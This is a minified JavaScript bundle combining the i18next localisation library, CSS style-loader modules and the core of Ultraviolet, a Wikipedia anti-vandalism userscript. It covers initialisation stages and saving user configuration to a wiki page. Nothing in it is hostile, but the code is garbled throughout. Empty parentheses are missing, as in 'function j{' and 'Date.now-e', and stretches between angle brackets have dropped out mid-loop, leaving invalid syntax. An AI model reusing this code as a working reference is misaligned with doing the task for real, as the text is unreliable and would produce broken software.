0,(function(i,a){i&&t.logger.warn("".concat(n,"loading namespace ").concat(o," for language ").concat(r," failed"),i),!i&&a&&t.logger.log("".concat(n,"loaded namespace ").concat(o," for language ").concat(r),a),t.loaded(e,i,a)}))}},{key:"saveMissing",value:function(e,t,n,i,r){var a=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{};this.services.utils&&this.services.utils.hasLoadedNamespace&&!this.services.utils.hasLoadedNamespace(t)?this.logger.warn('did not save key "'.concat(n,'" as the namespace "').concat(t,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!"):null!=n&&""!==n&&(this.backend&&this.backend.create&&this.backend.create(e,t,n,i,null,o({},a,{isUpdate:r})),e&&e[0]&&this.store.addResource(e[0],t,n,i))}}]),t}(g);function j{return{debug:!1,initImmediate:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,whitelist:!1,nonExplicitWhitelist:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!0,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:function(e){var t={};if("object"===i(e[1])&&(t=e[1]),"string"==typeof e[1]&&(t.defaultValue=e[1]),"string"==typeof e[2]&&(t.tDescription=e[2]),"object"===i(e[2])||"object"===i(e[3])){var n=e[3]||e[2];Object.keys(n).forEach((function(e){t[e]=n[e]}))}return t},interpolation:{escapeValue:!0,format:function(e,t,n,i){return e},prefix:"",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!1}}}function V(e){return"string"==typeof e.ns&&(e.ns=[e.ns]),"string"==typeof e.fallbackLng&&(e.fallbackLng=[e.fallbackLng]),"string"==typeof e.fallbackNS&&(e.fallbackNS=[e.fallbackNS]),e.whitelist&&(e.whitelist&&e.whitelist.indexOf("cimode")<0&&(e.whitelist=e.whitelist.concat(["cimode"])),e.supportedLngs=e.whitelist),e.nonExplicitWhitelist&&(e.nonExplicitSupportedLngs=e.nonExplicitWhitelist),e.supportedLngs&&e.supportedLngs.indexOf("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),e}function H{}const W=new(function(e){function t{var e,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=arguments.length>1?arguments[1]:void 0;if((0,a.Z)(this,t),e=c(this,d(t).call(this)),S&&g.call(l(e)),e.options=V(n),e.services={},e.logger=f,e.modules={external:[]},i&&!e.isInitialized&&!n.isClone){if(!e.options.initImmediate)return e.init(n,i),c(e,l(e));setTimeout((function{e.init(n,i)}),0)}return e}return p(t,e),(0,s.Z)(t,[{key:"init",value:function{var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;function i(e){return e?"function"==typeof e?new e:e:null}if("function"==typeof t&&(n=t,t={}),t.whitelist&&!t.supportedLngs&&this.logger.deprecate("whitelist",'option "whitelist" will be renamed to "supportedLngs" in the next major - please make sure to rename this option asap.'),t.nonExplicitWhitelist&&!t.nonExplicitSupportedLngs&&this.logger.deprecate("whitelist",'options "nonExplicitWhitelist" will be renamed to "nonExplicitSupportedLngs" in the next major - please make sure to rename this option asap.'),this.options=o({},j,this.options,V(t)),this.format=this.options.interpolation.format,n||(n=H),!this.options.isClone){this.modules.logger?f.init(i(this.modules.logger),this.options):f.init(null,this.options);var r=new P(this.options);this.store=new x(this.options.resources,this.options);var a=this.services;a.logger=f,a.resourceStore=this.store,a.languageUtils=r,a.pluralResolver=new B(r,{prepend:this.options.pluralSeparator,compatibilityJSON:this.options.compatibilityJSON,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),a.interpolator=new U(this.options),a.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},a.backendConnector=new F(i(this.modules.backend),a.resourceStore,a,this.options),a.backendConnector.on("*",(function(t){for(var n=arguments.length,i=new Array(n>1?n-1:0),r=1;r1?n-1:0),r=1;r0&&"dev"!==s[0]&&(this.options.lng=s[0])}this.services.languageDetector||this.options.lng||this.logger.warn("init: no languageDetector is used and no lng is defined");var l=["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"];l.forEach((function(t){e[t]=function{var n;return(n=e.store)[t].apply(n,arguments)}}));var c=["addResource","addResources","addResourceBundle","removeResourceBundle"];c.forEach((function(t){e[t]=function{var n;return(n=e.store)[t].apply(n,arguments),e}}));var d=m,u=function{var t=function(t,i){e.isInitialized&&e.logger.warn("init: i18next is already initialized. You should call init just once!"),e.isInitialized=!0,e.options.isClone||e.logger.log("initialized",e.options),e.emit("initialized",e.options),d.resolve(i),n(t,i)};if(e.languages&&"v1"!==e.options.compatibilityAPI&&!e.isInitialized)return t(null,e.t.bind(e));e.changeLanguage(e.options.lng,t)};return this.options.resources||!this.options.initImmediate?u:setTimeout(u,0),d}},{key:"loadResources",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:H,i=n,r="string"==typeof e?e:this.language;if("function"==typeof e&&(i=e),!this.options.resources||this.options.partialBundledLanguages){if(r&&"cimode"===r.toLowerCase)return i;var o=[],a=function(e){e&&t.services.languageUtils.toResolveHierarchy(e).forEach((function(e){o.indexOf(e)<0&&o.push(e)}))};if(r)a(r);else{var s=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);s.forEach((function(e){return a(e)}))}this.options.preload&&this.options.preload.forEach((function(e){return a(e)})),this.services.backendConnector.load(o,this.options.ns,i)}else i(null)}},{key:"reloadResources",value:function(e,t,n){var i=m;return e||(e=this.languages),t||(t=this.options.ns),n||(n=H),this.services.backendConnector.reload(e,t,(function(e){i.resolve,n(e)})),i}},{key:"use",value:function(e){if(!e)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use");if(!e.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use");return"backend"===e.type&&(this.modules.backend=e),("logger"===e.type||e.log&&e.warn&&e.error)&&(this.modules.logger=e),"languageDetector"===e.type&&(this.modules.languageDetector=e),"i18nFormat"===e.type&&(this.modules.i18nFormat=e),"postProcessor"===e.type&&D.addPostProcessor(e),"3rdParty"===e.type&&this.modules.external.push(e),this}},{key:"changeLanguage",value:function(e,t){var n=this;this.isLanguageChangingTo=e;var i=m;this.emit("languageChanging",e);var r=function(e){var r="string"==typeof e?e:n.services.languageUtils.getBestMatchFromCodes(e);r&&(n.language||(n.language=r,n.languages=n.services.languageUtils.toResolveHierarchy(r)),n.translator.language||n.translator.changeLanguage(r),n.services.languageDetector&&n.services.languageDetector.cacheUserLanguage(r)),n.loadResources(r,(function(e){!function(e,r){r?(n.language=r,n.languages=n.services.languageUtils.toResolveHierarchy(r),n.translator.changeLanguage(r),n.isLanguageChangingTo=void 0,n.emit("languageChanged",r),n.logger.log("languageChanged",r)):n.isLanguageChangingTo=void 0,i.resolve((function{return n.t.apply(n,arguments)})),t&&t(e,(function{return n.t.apply(n,arguments)}))}(e,r)}))};return e||!this.services.languageDetector||this.services.languageDetector.async?!e&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect(r):r(e):r(this.services.languageDetector.detect),i}},{key:"getFixedT",value:function(e,t){var n=this,r=function e(t,r){var a;if("object"!==i(r)){for(var s=arguments.length,l=new Array(s>2?s-2:0),c=2;c<s;c++)l[c-2]=arguments[c];a=n.options.overloadTranslationOptionHandler([t,r].concat(l))}else a=o({},r);return a.lng=a.lng||e.lng,a.lngs=a.lngs||e.lngs,a.ns=a.ns||e.ns,n.t(t,a)};return"string"==typeof e?r.lng=e:r.lngs=e,r.ns=t,r}},{key:"t",value:function{var e;return this.translator&&(e=this.translator).translate.apply(e,arguments)}},{key:"exists",value:function{var e;return this.translator&&(e=this.translator).exists.apply(e,arguments)}},{key:"setDefaultNamespace",value:function(e){this.options.defaultNS=e}},{key:"hasLoadedNamespace",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;var i=this.languages[0],r=!!this.options&&this.options.fallbackLng,o=this.languages[this.languages.length-1];if("cimode"===i.toLowerCase)return!0;var a=function(e,n){var i=t.services.backendConnector.state["".concat(e,"|").concat(n)];return-1===i||2===i};if(n.precheck){var s=n.precheck(this,a);if(void 0!==s)return s}return!!this.hasResourceBundle(i,e)||(!this.services.backendConnector.backend||!(!a(i,e)||r&&!a(o,e)))}},{key:"loadNamespaces",value:function(e,t){var n=this,i=m;return this.options.ns?("string"==typeof e&&(e=[e]),e.forEach((function(e){n.options.ns.indexOf(e)<0&&n.options.ns.push(e)})),this.loadResources((function(e){i.resolve,t&&t(e)})),i):(t&&t,Promise.resolve)}},{key:"loadLanguages",value:function(e,t){var n=m;"string"==typeof e&&(e=[e]);var i=this.options.preload||[],r=e.filter((function(e){return i.indexOf(e)<0}));return r.length?(this.options.preload=i.concat(r),this.loadResources((function(e){n.resolve,t&&t(e)})),n):(t&&t,Promise.resolve)}},{key:"dir",value:function(e){if(e||(e=this.languages&&this.languages.length>0?this.languages[0]:this.language),!e)return"rtl";return["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam"].indexOf(this.services.languageUtils.getLanguagePartFromCode(e))>=0?"rtl":"ltr"}},{key:"createInstance",value:function{var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;return new t(e,n)}},{key:"cloneInstance",value:function{var e=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:H,r=o({},this.options,n,{isClone:!0}),a=new t(r),s=["store","services","language"];return s.forEach((function(t){a[t]=e[t]})),a.services=o({},this.services),a.services.utils={hasLoadedNamespace:a.hasLoadedNamespace.bind(a)},a.translator=new R(a.services,a.options),a.translator.on("*",(function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(7205),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},414:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(2630),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},7336:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(9702),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},6540:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(5131),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},5946:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(2757),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},5952:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(9266),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},7067:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(49),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},4509:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(789),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},1:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(9882),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},6802:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(9938),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},5545:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(6028),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},9561:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(5220),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},3377:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>v});var i=n(3379),r=n.n(i),o=n(7795),a=n.n(o),s=n(569),l=n.n(s),c=n(3565),d=n.n(c),u=n(9216),p=n.n(u),h=n(4589),f=n.n(h),g=n(9165),m={};m.styleTagTransform=f,m.setAttributes=d,m.insert=l.bind(null,"head"),m.domAPI=a,m.insertStyleElement=p;r(g.Z,m);const v=g.Z&&g.Z.locals?g.Z.locals:void 0},3379:e=>{"use strict";var t=[];function n(e){for(var n=-1,i=0;i<t.length;i++)if(t[i].identifier===e){n=i;break}return n}function i(e,i){for(var o={},a=[],s=0;s<e.length;s++){var l=e[s],c=i.base?l[0]+i.base:l[0],d=o[c]||0,u="".concat(c," ").concat(d);o[c]=d+1;var p=n(u),h={css:l[1],media:l[2],sourceMap:l[3],supports:l[4],layer:l[5]};if(-1!==p)t[p].references++,t[p].updater(h);else{var f=r(h,i);i.byIndex=s,t.splice(s,0,{identifier:u,updater:f,references:1})}a.push(u)}return a}function r(e,t){var n=t.domAPI(t);n.update(e);return function(t){if(t){if(t.css===e.css&&t.media===e.media&&t.sourceMap===e.sourceMap&&t.supports===e.supports&&t.layer===e.layer)return;n.update(e=t)}else n.remove}}e.exports=function(e,r){var o=i(e=e||[],r=r||{});return function(e){e=e||[];for(var a=0;a{"use strict";var t={};e.exports=function(e,n){var i=function(e){if(void 0===t[e]){var n=document.querySelector(e);if(window.HTMLIFrameElement&&n instanceof window.HTMLIFrameElement)try{n=n.contentDocument.head}catch(e){n=null}t[e]=n}return t[e]}(e);if(!i)throw new Error("Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.");i.appendChild(n)}},9216:e=>{"use strict";e.exports=function(e){var t=document.createElement("style");return e.setAttributes(t,e.attributes),e.insert(t,e.options),t}},3565:(e,t,n)=>{"use strict";e.exports=function(e){var t=n.nc;t&&e.setAttribute("nonce",t)}},7795:e=>{"use strict";e.exports=function(e){var t=e.insertStyleElement(e);return{update:function(n){!function(e,t,n){var i="";n.supports&&(i+="@supports (".concat(n.supports,") {")),n.media&&(i+="@media ".concat(n.media," {"));var r=void 0!==n.layer;r&&(i+="@layer".concat(n.layer.length>0?" ".concat(n.layer):""," {")),i+=n.css,r&&(i+="}"),n.media&&(i+="}"),n.supports&&(i+="}");var o=n.sourceMap;o&&"undefined"!=typeof btoa&&(i+="\n/*# sourceMappingURL=data:application/json;base64,".concat(btoa(unescape(encodeURIComponent(JSON.stringify(o))))," */")),t.styleTagTransform(i,e,t.options)}(t,e,n)},remove:function{!function(e){if(null===e.parentNode)return!1;e.parentNode.removeChild(e)}(t)}}}},4589:e=>{"use strict";e.exports=function(e,t){if(t.styleSheet)t.styleSheet.cssText=e;else{for(t.firstChild;)t.removeChild(t.firstChild);t.appendChild(document.createTextNode(e))}}},7392:e=>{e.exports="/**\n * This is the configuration for your installation of Ultraviolet.\n * It is recommended that you don't edit this yourself and use\n * Ultraviolet's preferences menu instead.\n *\n * This script is run every time Ultraviolet loads and may be overwritten at any time.\n *\n * If somebody besides a 10nm (Ultraviolet) team member has asked you to add code\n * to this page, DO NOT DO SO as it may compromise your account.\n *\n * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n * !!! Do not edit below this script unless you understand the risks !!!\n * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n */\n// --nowikiOpen\nwindow.uv = window.uv || {}, window.uv.config = --configuration;\n// --nowikiClose\n"},3551:e=>{e.exports="#mw-head, #mw-panel, #mw-head-base, #mw-page-base, .mw-contributions-footer, footer {\n   display: none;\n}\n\n#content {\n    margin-left: 0;\n    border: 0;\n}"},5799:e=>{e.exports='\n    <polygon\n            class="mdc-select__dropdown-icon-inactive"\n            stroke="none"\n            fill-rule="evenodd"\n            points="7 10 12 15 17 10">\n    \n    <polygon\n            class="mdc-select__dropdown-icon-active"\n            stroke="none"\n            fill-rule="evenodd"\n            points="7 15 12 10 17 15">\n    \n '},6463:(e,t,n)=>{"use strict";t.LK=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=(0,i.__importStar)(n(8428)),a=n(8428),s=(0,i.__importStar)(n(8910)),l=n(8910),c=(0,i.__importDefault)(n(5609)),d=(0,i.__importDefault)(n(6831)),u=(0,i.__importDefault)(n(5504)),p=(0,i.__importDefault)(n(2458)),h=(0,i.__importDefault)(n(4470)),f=(0,i.__importDefault)(n(268)),g=(0,i.__importDefault)(n(9071)),m=(0,i.__importDefault)(n(7007)),v=(0,i.__importDefault)(n(9158)),A=(0,i.__importDefault)(n(8939)),y=(0,i.__importDefault)(n(3848)),_=(0,i.__importDefault)(n(6921)),b=(0,i.__importDefault)(n(5147)),I=(0,i.__importStar)(n(4802)),C=n(4802),E=n(9052),T=(0,i.__importDefault)(n(9491)),w=n(3663);var S;!function(e){e[e.Preload=0]="Preload",e[e.Load=1]="Load",e[e.Preinitialization=2]="Preinitialization",e[e.Initialization=3]="Initialization",e[e.Postinitialization=4]="Postinitialization",e[e.PreUIInjection=5]="PreUIInjection",e[e.PostUIInjection=6]="PostUIInjection",e[e.Ready=7]="Ready",e[e.Failed=8]="Failed",e[e.Deinitialization=9]="Deinitialization",e[e.Terminated=10]="Terminated"}(S=t.LK||(t.LK={}));class x{static get UltravioletConstants{return o}static get UltravioletStore{return m.default}static get UltravioletHooks{return f.default}static get Localization{return d.default}static get Log{return u.default}static get i18next{return r.default}static get MediaWikiClasses{return I}static get StyleManager{return y.default}static get UltravioletUI{return v.default}static get RTRC{return h.default}static get Utilities{return s}static get WarningManager{return C.WarningManager}static get Dependencies{return c.default}static get Configuration{return E.Configuration}static get WikiConfiguration{return A.default}static get Database{return g.default.i}static get Watch{return C.Watch}static get RecentPages{return w.RecentPages}static get MediaWiki{return C.MediaWiki}static get ClientUser{return C.ClientUser}static get TamperProtection{return _.default}static initialize{return(0,i.__awaiter)(this,void 0,void 0,(function*{if(document.body.classList.contains("rw-disable")||document.body.classList.contains("uv-disable")||"0"===new URL(window.location.href).searchParams.get("redwarn")||"0"===new URL(window.location.href).searchParams.get("ultraviolet"))return void u.default.info("The current page is blocking Ultraviolet from loading. Shutting down...");f.default.executeHooks("load"),x.loadState=S.Load,u.default.info(`Starting Ultraviolet ${a.APP_VERSION}...`);const e=Date.now;if(null==window.uv&&null==window.rw){if(window.Ultraviolet=x,window.uv=x,window.addEventListener("error",(e=>{(e.filename.includes("ultraviolet")||e.filename.includes("redwarn"))&&u.default.error("Uncaught error: ",{event:e})})),yield d.default.init,C.MediaWiki.mwCheck){yield C.MediaWiki.loadDependencies,yield Promise.all([g.default.i.connect,C.MediaWikiAPI.init,(=>(0,i.__awaiter)(this,void 0,void 0,(function*{m.default.initializeStore}))),y.default.initialize]);try{A.default.c}catch(e){return u.default.fatal("Wiki-specific configuration is broken!"),void mw.notify((0,p.default)(r.default.t("mediawiki:error.wikiConfigBad",{wikiIndex:m.default.wikiIndex})),{type:"error"})}yield E.Configuration.refresh,yield Promise.all([f.default.executeHooks("preInit"),c.default.resolve([y.default.activeStyle.dependencies]),c.default.resolve([m.default.dependencies])]),x.loadState=S.Preinitialization,h.default.init,_.default.init,C.RevertSpeedup.init,yield Promise.all([f.default.executeHooks("init")]),x.loadState=S.Initialization,yield f.default.executeHooks("postInit"),x.loadState=S.Postinitialization,u.default.debug(`Done loading (core): ${Date.now-e}ms.`),yield f.default.executeHooks("preUIInject"),x.loadState=S.PreUIInjection,yield b.default.i.inject,yield Promise.all([f.default.executeHooks("postUIInject"),C.Watch.init,w.RecentPages.init]),x.loadState=S.PostUIInjection,u.default.debug(`Done loading (UI): ${Date.now-e}ms.`),x.loadState=S.Ready}}else mw.notify("You have two versions of Ultraviolet/RedWarn installed at once! To prevent issues, please edit your common.js or skin.js files to ensure that you only use one version of the script.",{type:"error",title:"Conflict"})}))}static start{return(0,i.__awaiter)(this,void 0,void 0,(function*{return x.initialize.catch((e=>{var t,n;u.default.fatal("Error loading Ultraviolet!",e);const i=null!==(n=null!==(t=T.default[navigator.language])&&void 0!==t?t:T.default[/^[A-Z]+/i.exec(navigator.language)[0]])&&void 0!==n?n:T.default.en;console.group(`%c${i[0]}%c${i.slice(1).join(" ")}`,"padding: 2px 8px; border-radius: 8px; background: #e0005a; color: #ffffff; font-weight: bold; font-size: x-large;","display: block; margin-top: 8px; width: 50vw;"),console.log("%c"+btoa(JSON.stringify(u.default.dump,(0,l.getCircularReplacer))),"color: lime;"),console.groupEnd,x.loadState=S.Failed}))}))}static deinitialize{return(0,i.__awaiter)(this,void 0,void 0,(function*{if(u.default.warn("Deinitializing Ultraviolet. This is experimental!"),x.loadState<S.Ready){let e;yield new Promise((t=>{e=setInterval((=>{x.loadState==S.Ready&&(clearInterval(e),t)}),100)}))}x.loadState=S.Deinitialization,yield Promise.all([f.default.executeHooks("deinit"),C.Watch.deinit,c.default.unresolve]),delete window.Ultraviolet,delete window.uv,u.default.info("Ultraviolet terminated."),f.default.executeHooks("terminate"),x.loadState=S.Terminated}))}}x.version=a.APP_VERSION,x.loadState=S.Preload,x.start},9052:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Configuration=void 0;const i=n(655),r=n(8428),o=n(4802),a=n(7353),s=(0,i.__importDefault)(n(9158)),l=(0,i.__importDefault)(n(1261)),c=(0,i.__importDefault)(n(3848)),d=n(3769),u=(0,i.__importDefault)(n(5504)),p=(0,i.__importDefault)(n(3684)),h=(0,i.__importDefault)(n(3825)),f=(0,i.__importDefault)(n(8021)),g=(0,i.__importDefault)(n(3138)),m=n(8910),v=(0,i.__importDefault)(n(8060));class A{static get Core{return A.initialized||A.init,A._Core}static get UI{return A.initialized||A.init,A._UI}static get Revert{return A.initialized||A.init,A._Revert}static get Accessibility{return A.initialized||A.init,A._Accessibility}static get configurationSets{return{core:A.Core,ui:A.UI,revert:A.Revert,accessibility:A.Accessibility}}static get mappedConfigurationSets{return Object.entries(A.configurationSets).reduce(((e,[t,n])=>(e[t]=A.map(n),(0,m.isEmptyObject)(e[t])&&delete e[t],e)),{})}static refresh{var e,t;return(0,i.__awaiter)(this,void 0,void 0,(function*{u.default.debug("Refreshing configuration...");let n,i=!1;try{const e=yield o.ClientUser.i.ultravioletConfigPage.getLatestRevision;null==e?(n={},i=!0):n=JSON.parse(/(?:rw|uv)\.config\s*=\s*({(?:.|\s)*});(?:\n|\s*\/\/<\/nowiki>)(?:.|\s)*/g.exec(e.content)[1])}catch(e){u.default.error("Configuration loading error.",e),c.default.setStyle(c.default.defaultStyle);new s.default.AlertDialog(l.default.t("ui:configErrorDialog")).show,n={},i=!0}(n.core&&(null!==(e=n.core[A.Core.configVersion.id])&&void 0!==e?e:0))<r.APP_CONFIG_VERSION&&(n=(0,v.default)(n),i=!0);for(const[e,t]of Object.entries(A.configurationSets))A.loadSettings(n,e.toLowerCase,t);try{c.default.setStyle(null!==(t=n.ui[A.UI.style.id])&&void 0!==t?t:A.UI.style.defaultValue)}catch(e){if(e instanceof d.StyleMissingError){c.default.setStyle(c.default.defaultStyle);new s.default.AlertDialog(l.default.t("ui:styleError.missing")).show}}i&&A.save}))}static allSettings(e){const t=new Map;for(const[n,i]of Object.entries(e))i instanceof a.Setting&&t.set(n,i);return t}static loadSettings(e,t,n){null!=e[t]&&A.allSettings(n).forEach((n=>{void 0!==e[t][n.id]&&(u.default.trace("Read custom configuration value",{setting:`${t}.${n.id}`,value:e[t][n.id]}),n.value=e[t][n.id])}))}static save(e=!1){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=n(7392);u.default.debug("Updating configuration page..."),yield o.ClientUser.i.ultravioletConfigPage.edit(A.toJavascriptFile(t,A.mappedConfigurationSets),{comment:"Updating configuration"}),e&&window.location.reload}))}static map(e){const t=[A.Core.configVersion.id,A.Core.latestVersion.id];return Array.from(A.allSettings(e).values).reduce(((e,n)=>t.includes(n.id)||n.value!==n.defaultValue?Object.assign(Object.assign({},e),{[n.id]:n.value}):e),{})}static toJavascriptFile(e,t){return e.replace(/--nowikiOpen/g,r.NOWIKI_OPEN).replace(/--nowikiClose/g,r.NOWIKI_CLOSE).replace(/--configuration/g,JSON.stringify(t))}static init{A.initialized=!0,A._Core=(0,p.default),A._UI=(0,h.default),A._Revert=(0,f.default),A._Accessibility=(0,g.default)}}t.Configuration=A,A.initialized=!1},2223:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RevertMethod=void 0,function(e){e[e.Unset=0]="Unset",e[e.Rollback=1]="Rollback",e[e.Undo=2]="Undo"}(t.RevertMethod||(t.RevertMethod={}))},7353:(e,t)=>{"use strict"; /*! * This file was modified from Baritone, to make it usable in TypeScript and the web environment. * It has been changed from the original to fit the needs of Ultraviolet. * The original Java source is available at <https://github.com/cabaletta/baritone/blob/72cf9392/src/api/java/baritone/api/Settings.java/>. */Object.defineProperty(t,"__esModule",{value:!0}),t.Setting=t.UIInputType=void 